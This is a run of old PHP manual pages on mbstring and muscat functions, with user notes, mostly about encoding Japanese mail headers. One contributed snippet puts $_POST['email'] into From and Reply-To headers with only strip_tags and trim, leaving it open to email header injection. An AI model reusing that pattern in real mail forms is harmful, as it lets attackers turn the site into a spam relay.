注: If you want to output some binary data such as image from PHP script with PHP 4.3.0 or later, Content-Type: header must be send using header() before any binary data was send to client (e.g. header("Content-Type: image/png")). If Content-Type: header was send, output character encoding conversion will not be performed.

Note that if 'Content-Type: text/*' was send using header(), the sending data is regarded as text, encoding conversion will be performed using character encoding settings.

If you want to output some binary data such as image from PHP script with PHP 4.2.x or earlier, you must set output encoding to "pass" using mb_http_output().

See also ob_start().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_list_encodings | 上一级 | mb_parse_str


mb_parse_str

(PHP 4 >= 4.0.6, PHP 5)

mb_parse_str -- Parse GET/POST/COOKIE data and set global variable

Description

bool mb_parse_str ( string encoded_string [, array &result] )

mb_parse_str() parses GET/POST/COOKIE data and sets global variables. Since PHP does not provide raw POST/COOKIE data, it can only used for GET data for now. It preses URL encoded data, detects encoding, converts coding to internal encoding and set values to result array or global variables.

encoded_string: URL encoded data.

result: Array contains decoded and character encoding converted values.

Return Value: It returns TRUE for success or FALSE for failure.

See also mb_detect_order(), mb_internal_encoding().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_output_handler | 上一级 | mb_preferred_mime_name


mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5)

mb_preferred_mime_name -- Get MIME charset string

Description

string mb_preferred_mime_name ( string encoding )

mb_preferred_mime_name() returns MIME charset string for character encoding encoding. It returns charset string.

例子 1. mb_preferred_mime_string() example

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_parse_str | 上一级 | mb_regex_encoding


mb_regex_encoding

(PHP 4 >= 4.2.0)

mb_regex_encoding -- Returns current encoding for multibyte regex as string

Description

mixed mb_regex_encoding ( [string encoding] )

mb_regex_encoding() returns the character encoding used by multibyte regex functions.

If the optional parameter encoding is specified, it is set to the character encoding for multibyte regex. The default value is the internal character encoding.

See also: mb_internal_encoding(), mb_ereg()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_preferred_mime_name | 上一级 | mb_regex_set_options


mb_regex_set_options

(PHP 4 >= 4.3.0)

mb_regex_set_options -- Set/Get the default options for mbregex functions

Description

string mb_regex_set_options ( [string options] )

mb_regex_set_options() sets the default options described by options for multibyte regex functions.

Returns the previous options. If options is omitted, it returns the string that describes the current options.

See also
mb_split(),
mb_ereg() and
mb_eregi()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_regex_encoding | 上一级 | mb_send_mail


mb_send_mail

(PHP 4 >= 4.0.6, PHP 5)

mb_send_mail -- Send encoded mail

Description

bool mb_send_mail ( string to, string subject, string message [, string additional_headers [, string additional_parameter]] )

mb_send_mail() sends email. Headers and
message are converted and encoded according to
mb_language() setting.
mb_send_mail() is wrapper
function of mail(). See
mail() for details.

to is mail addresses send to. Multiple recipients can be specified by putting a comma between each address in to. This parameter is not automatically encoded.

subject is subject of mail.

message is mail message.

additional_headers is inserted at the end of the header. This is typically used to add extra headers. Multiple extra headers are separated with a newline ("\n").

注: Content-Type and Content-Transfer-Encoding headers can be redefined as of PHP 5.0.0. In PHP 4, values defined by mb_language() are always used.

additional_parameter is a MTA command line parameter. It is useful when setting the correct Return-Path header when using sendmail.

如果成功则返回 TRUE，失败则返回 FALSE。

See also mail(),
mb_encode_mimeheader(), and
mb_language().

add a note add a note User Contributed Notes
bredfern at calarts dot edu
23-Jun-2004 06:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp
30-Aug-2003 09:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

   c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp
20-Jul-2003 07:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern  = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter  = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
   $part_length = $max_part_length;
   $s = mb_substr($str, $index, $part_length, $mail_encoding);
   // workaround for literally used start delimiter (without below, subject may break)
   // note: mb_encode_mimeheader() don't encode ascii including start delimiter
   if (preg_match('/^' . $start_pattern . '/i', $s))
   {
     $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
     $index += strlen($start_delimiter);
     continue;
   }

   $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
   while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
     $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
     $s = mb_substr($str, $index, $part_length, $mail_encoding);
     $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
   }

   // workaround for starting new line with ascii (without below, 1 space may cut in)
   // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
   if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
   {
     $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
     $p = $p ? $p : strlen($lines[$i]);
     $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
     $part_length = $p;
   }
   $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan
22-May-2003 05:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
   $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
   $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
   $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp )
09-Apr-2003 12:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

   $__lang = mb_language();
   $__enc = mb_internal_encoding();
   mb_language("Japanese");
   mb_internal_encoding( mb_detect_encoding($subject) );
   #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
   mail($to,
       mb_encode_mimeheader($subject),
       mb_convert_encoding($msg,"JIS","AUTO"),$header);
   mb_internal_encoding( $__enc );
   mb_language($__lang);
phpguru at hotmail dot com
27-Feb-2003 03:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan
24-Feb-2003 01:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp
05-Feb-2003 04:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp
29-Dec-2002 10:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
   $out_str = $in_str;
   if ($out_str && $charset) {

       // define start delimimter, end delimiter and spacer
       $end = "?=";
       $start = "=?" . $charset . "?B?";
       $spacer = $end . "\r\n " . $start;

       // determine length of encoded text within chunks
       // and ensure length is even
       $length = 75 - strlen($start) - strlen($end);
       $length = floor($length/2) * 2;

       // encode the string and split it into chunks
       // with spacers after each chunk
       $out_str = base64_encode($out_str);
       $out_str = chunk_split($out_str, $length, $spacer);

       // remove trailing spacer and
       // add start and end delimiters
       $spacer = preg_quote($spacer);
       $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
       $out_str = $start . $out_str . $end;
   }
   return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com
15-Sep-2002 06:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.
add a note add a note

后退 | 起点 | 前进
mb_regex_set_options | 上一级 | mb_split


mb_split

(PHP 4 >= 4.2.0)

mb_split -- Split multibyte string using regular expression

Description

array mb_split ( string pattern, string string [, int limit] )

mb_split() split multibyte string using regular expression pattern and returns the result as an array.

If optional parameter limit is specified, it will be split in limit elements as maximum.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_send_mail | 上一级 | mb_strcut


mb_strcut

(PHP 4 >= 4.0.6, PHP 5)

mb_strcut -- Get part of string

Description

string mb_strcut ( string str, int start [, int length [, string encoding]] )

mb_strcut() returns the portion of str specified by the start and length parameters.

mb_strcut() performs equivalent operation as mb_substr() with different method. If start position is multi-byte character's second byte or larger, it starts from first byte of multi-byte character.

It subtracts string from str that is shorter than length AND character that is not part of multi-byte string or not being middle of shift sequence.

encoding is character encoding. If it is not set, internal character encoding is used.

See also mb_substr(), mb_internal_encoding().

add a note add a note User Contributed Notes
t dot starling at physics dot unimelb dot edu dot au
27-Aug-2004 07:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp
26-Sep-2003 06:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character
add a note add a note

后退 | 起点 | 前进
mb_split | 上一级 | mb_strimwidth


mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strimwidth -- Get truncated string with specified width

Description

string mb_strimwidth ( string str, int start, int width [, string trimmarker [, string encoding]] )

mb_strimwidth() truncates string str to specified width. It returns truncated string.

If trimmarker is set, trimmarker is appended to return value.

start is start position offset. Number of characters from the beginning of string. (First character is 0)

trimmarker is string that is added to the end of string when string is truncated.

encoding is character encoding. If it is omitted, internal encoding is used.

例子 1. mb_strimwidth() example

<?php
$str = mb_strimwidth($str, 0, 40, "..>");
?>

See also mb_strwidth() and mb_internal_encoding().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_strcut | 上一级 | mb_strlen


mb_strlen

(PHP 4 >= 4.0.6, PHP 5)

mb_strlen -- Get string length

Description

int mb_strlen ( string str [, string encoding] )

mb_strlen() returns number of characters in string str having character encoding encoding. A multi-byte character is counted as 1.

encoding is character encoding for str. If encoding is omitted, internal character encoding is used.

See also mb_internal_encoding(), strlen().

add a note add a note User Contributed Notes
Peter Albertsson
11-Nov-2004 06:21
If you wish to find the byte length of a multi-byte string when you are using mbstring.func_overload 2 and UTF-8 strings, then you can use the following:

mb_strlen($utf8_string, 'latin1');
add a note add a note

后退 | 起点 | 前进
mb_strimwidth | 上一级 | mb_strpos


mb_strpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strpos -- Find position of first occurrence of string in a string

Description

int mb_strpos ( string haystack, string needle [, int offset [, string encoding]] )

mb_strpos() returns the numeric position of the first occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

mb_strpos() performs multi-byte safe strpos() operation based on number of characters. needle position is counted from the beginning of the haystack. First character's position is 0. Second character position is 1, and so on.

If encoding is omitted, internal character encoding is used. mb_strrpos() accepts string for needle where strrpos() accepts only character.

offset is search offset. If it is not specified, 0 is used.

encoding is character encoding name. If it is omitted, internal character encoding is used.

See also mb_strrpos(),
mb_internal_encoding(),
strpos()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_strlen | 上一级 | mb_strrpos


mb_strrpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strrpos -- Find position of last occurrence of a string in a string

Description

int mb_strrpos ( string haystack, string needle [, string encoding] )

mb_strrpos() returns the numeric position of the last occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

mb_strrpos() performs multi-byte safe strrpos() operation based on number of characters. needle position is counted from the beginning of haystack. First character's position is 0. Second character position is 1.

If encoding is omitted, internal encoding is assumed. mb_strrpos() accepts string for needle where strrpos() accepts only character.

encoding is character encoding. If it is not specified, internal character encoding is used.

See also mb_strpos(),
mb_internal_encoding(),
strrpos().

add a note add a note User Contributed Notes
28-Nov-2005 10:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.
add a note add a note

后退 | 起点 | 前进
mb_strpos | 上一级 | mb_strtolower


mb_strtolower

(PHP 4 >= 4.3.0, PHP 5)

mb_strtolower -- Make a string lowercase

Description

string mb_strtolower ( string str [, string encoding] )

mb_strtolower() returns str with all alphabetic characters converted to lowercase.

encoding specifies the encoding of str; if omitted, the internal character encoding value will be used.

For more information about the Unicode properties, please see http://www.unicode.org/unicode/reports/tr21/.

By contrast to strtolower(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut ().

例子 1. mb_strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

See also strtolower(),
mb_strtoupper() and
mb_convert_case().

add a note add a note User Contributed Notes
btherl at yahoo dot com dot au
16-Nov-2005 01:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.
add a note add a note

后退 | 起点 | 前进
mb_strrpos | 上一级 | mb_strtoupper


mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5)

mb_strtoupper -- Make a string uppercase

Description

string mb_strtoupper ( string str [, string encoding] )

mb_strtoupper() returns str with all alphabetic characters converted to uppercase.

encoding specifies the encoding of str; if omitted, the internal character encoding value will be used.

By contrast to strtoupper(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as a-umlaut ().

For more information about the Unicode properties, please see http://www.unicode.org/unicode/reports/tr21/.

例子 1. mb_strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

See also strtoupper(),
mb_strtolower() and
mb_convert_case().

add a note add a note User Contributed Notes
cyril dot legret at free dot no-spam dot fr
26-Feb-2005 05:40
Be careful with htmlentities ...
<?
echo mb_strtoupper("L'&eacute;lphant", "utf-8");
?>
output : L'&EACUTE;LPHANT
add a note add a note

后退 | 起点 | 前进
mb_strtolower | 上一级 | mb_strwidth


mb_strwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strwidth -- Return width of string

Description

int mb_strwidth ( string str [, string encoding] )

mb_strwidth() returns width of string str.

Multi-byte character usually twice of width compare to single byte character.

表格 1. Characters width

Chars | Width
U+0000 - U+0019 | 0
U+0020 - U+1FFF | 1
U+2000 - U+FF60 | 2
U+FF61 - U+FF9F | 1
U+FFA0 - | 2

encoding is character encoding. If it is omitted, internal encoding is used.

See also: mb_strimwidth(), mb_internal_encoding().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_strtoupper | 上一级 | mb_substitute_character


mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5)

mb_substitute_character -- Set/Get substitution character

Description

mixed mb_substitute_character ( [mixed substrchar] )

mb_substitute_character() specifies substitution character when input character encoding is invalid or character code is not exist in output character encoding. Invalid characters may be substituted NULL(no output), string or integer value (Unicode character code value).

This setting affects mb_convert_encoding(),
mb_convert_variables(),
mb_output_handler(),
and mb_send_mail().

substchar : Specify Unicode value as integer or specify as string as follows

  • "none" : no output

  • "long" : Output character code value (Example: U+3000,JIS+7E7E)

Return Value: If substchar is set, it returns TRUE for success, otherwise returns FALSE. If substchar is not set, it returns Unicode value or "none"/"long".

例子 1. mb_substitute_character() example

<?php
/* Set with Unicode U+3013 (GETA MARK) */
mb_substitute_character(0x3013);

/* Set hex format */
mb_substitute_character("long");

/* Display current setting */
echo mb_substitute_character();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_strwidth | 上一级 | mb_substr_count


mb_substr_count

(PHP 4 >= 4.3.0, PHP 5)

mb_substr_count -- Count the number of substring occurrences

Description

int mb_substr_count ( string haystack, string needle [, string encoding] )

mb_substr_count() returns the number of times the needle substring occurs in the haystack string.

encoding specifies the encoding for needle and haystack. If omitted, internal character encoding is used.

例子 1. mb_substr_count() example

<?php
echo mb_substr_count("This is a test", "is"); // prints out 2
?>

See also substr_count(), mb_strpos(), mb_substr().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_substitute_character | 上一级 | mb_substr


mb_substr

(PHP 4 >= 4.0.6, PHP 5)

mb_substr -- Get part of string

Description

string mb_substr ( string str, int start [, int length [, string encoding]] )

mb_substr() returns the portion of str specified by the start and length parameters.

mb_substr() performs multi-byte safe substr() operation based on number of characters. Position is counted from the beginning of str. First character's position is 0. Second character position is 1, and so on.

If encoding is omitted, internal encoding is assumed.

encoding is character encoding. If it is omitted, internal character encoding is used.

See also mb_strcut(), mb_internal_encoding().

add a note add a note User Contributed Notes
xiaogil at yahoo dot fr
02-Aug-2005 11:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl
23-Feb-2005 10:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.
add a note add a note

后退 | 起点 | 前进
mb_substr_count | 上一级 | muscat Functions


muscat Functions

PHP 手册
后退 前进

LXXXIII. muscat Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

安装

These functions are only available if PHP was configured with --with-muscat[=DIR].

目录
muscat_close -- Shuts down the muscat session and releases any memory back to PHP
muscat_get -- Gets a line back from the core muscat API
muscat_give -- Sends string to the core muscat API
muscat_setup_net -- Creates a new muscat session and returns the handle
muscat_setup -- Creates a new muscat session and returns the handle

add a note add a note User Contributed Notes
olly at survex dot com
07-Sep-2005 01:31
Erik is close - this module actually provides a PHP interface to the proprietary Muscat 3.6 system which OpenMuscat was originally being written to replace.
OpenMuscat had a rather different API to Muscat 3.6.

BrightStation (the company which owned Muscat) closed down the OpenMuscat project and later ceased trading, but OpenMuscat lived on, renamed Xapian due to complaints about trademark infringement from BrightStation.  Xapian has its
own PHP bindings.

I'd be suprised if this module is used by anyone now. I don't think Muscat 3.6 has been available to buy for over 5 years, and even back then most external developers used a higher level API than the one which this module wraps.

Olly Betts (former BrightStation employee and current Xapian developer)
erikh at caravelgames dot com
03-Sep-2005 06:27
It took me some digging to figure out that this is an interface for OpenMuscat, which provides search engine functionality.  The maintainer, Sam Liddicott, has done some work on Xapian which can be thought of as a replacement for OpenMuscat.

More about OpenMuscat and Xapian here:
http://www.xapian.org/history.php
add a note add a note

后退 | 起点 | 前进
mb_substr | 上一级 | muscat_close


muscat_close

(4.0.5 - 4.2.3 only, PECL)

muscat_close -- Shuts down the muscat session and releases any memory back to PHP

Description

void muscat_close ( resource muscat_handle )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

[Not back to the system, note!]

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
muscat Functions | 上一级 | muscat_get


muscat_get

(4.0.5 - 4.2.3 only, PECL)

muscat_get -- Gets a line back from the core muscat API

Description

string muscat_get ( resource muscat_handle )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
muscat_close | 上一级 | muscat_give


muscat_give

(4.0.5 - 4.2.3 only, PECL)

muscat_give -- Sends string to the core muscat API

Description

void muscat_give ( resource muscat_handle, string string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
muscat_get | 上一级 | muscat_setup_net


muscat_setup_net

(4.0.5 - 4.2.3 only, PECL)

muscat_setup_net -- Creates a new muscat session and returns the handle

Description

resource muscat_setup_net ( string muscat_host )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

muscat_setup_net() creates a new muscat session and returns the handle.

muscat_host is the hostname to connect to. port is the port number to connect to.

add a note add a note User Contributed Notes
11-Jun-2005 07:43
Apparently it was a search engine, which has now been rebranded as http://www.aprsmartlogik.com/ . There is a brief explanatory note at http://www.muscat.com/ . It looks like it may have previously had an open-source version ( http://open.muscat.com/ ).
add a note add a note

后退 | 起点 | 前进
muscat_give | 上一级 | muscat_setup


